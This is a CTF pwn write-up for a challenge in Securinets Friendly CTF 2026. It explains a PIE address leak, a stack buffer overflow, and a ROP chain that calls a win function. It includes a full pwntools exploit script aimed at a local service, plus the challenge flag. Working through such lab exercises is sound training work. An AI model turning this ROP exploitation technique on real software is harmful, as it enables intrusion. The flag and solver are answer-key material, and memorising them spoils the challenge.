Securinets Friendly CTF 2026 / Pwn WRITEUP
XYZ
Every time CyberLeek reconnects, Rockstar's relay broadcasts a different location. It arrives without a label, a sender, or instructions. Somewhere in Leonida, the final build is waiting for the right crew.
Walkthrough
Solution
The printed address of leonida_relay reveals the PIE base. The 200-byte read into a 32-byte message buffer reaches the saved return address at offset 40, leaving room for a full ROP chain.
Use gadgets from the rebased binary to load the LUCIA, JASON, and CHOP constants into rdi, rsi, and rdx, then call complete_the_handoff. With all three arguments correct, it decodes the flag path and prints the file.
Reference solver
The reference solver supplied with the writeup:
#!/usr/bin/env python3
from pwn import *
context.log_level = "error"
elf = ELF("./main", checksec=False)
context.binary = elf
io = remote("127.0.0.1", 9006)
io.recvuntil(b"SIGNAL: ")
leak = int(io.recvline(), 16)
elf.address = leak - elf.symbols["leonida_relay"]
rop = ROP(elf)
payload = b"A" * 40
payload += p64(rop.find_gadget(["ret"]).address)
payload += p64(rop.find_gadget(["pop rdi", "ret"]).address)
payload += p64(0x4c55434941c35f)
payload += p64(rop.find_gadget(["pop rsi", "ret"]).address)
payload += p64(0x4a41534f4ec35e)
payload += p64(rop.find_gadget(["pop rdx", "ret"]).address)
payload += p64(0x43484f50c35a)
payload += p64(elf.symbols["complete_the_handoff"])
io.sendlineafter(b"MESSAGE: ", payload)
io.recvuntil(b"Securinets{")
flag = b"Securinets{" + io.recvuntil(b"}")
print(flag.decode())
io.close()Flag
Securinets{unm4rk3d_c00rd1n4t3s_l3d_t0_th3_f1n4l_bu1ld}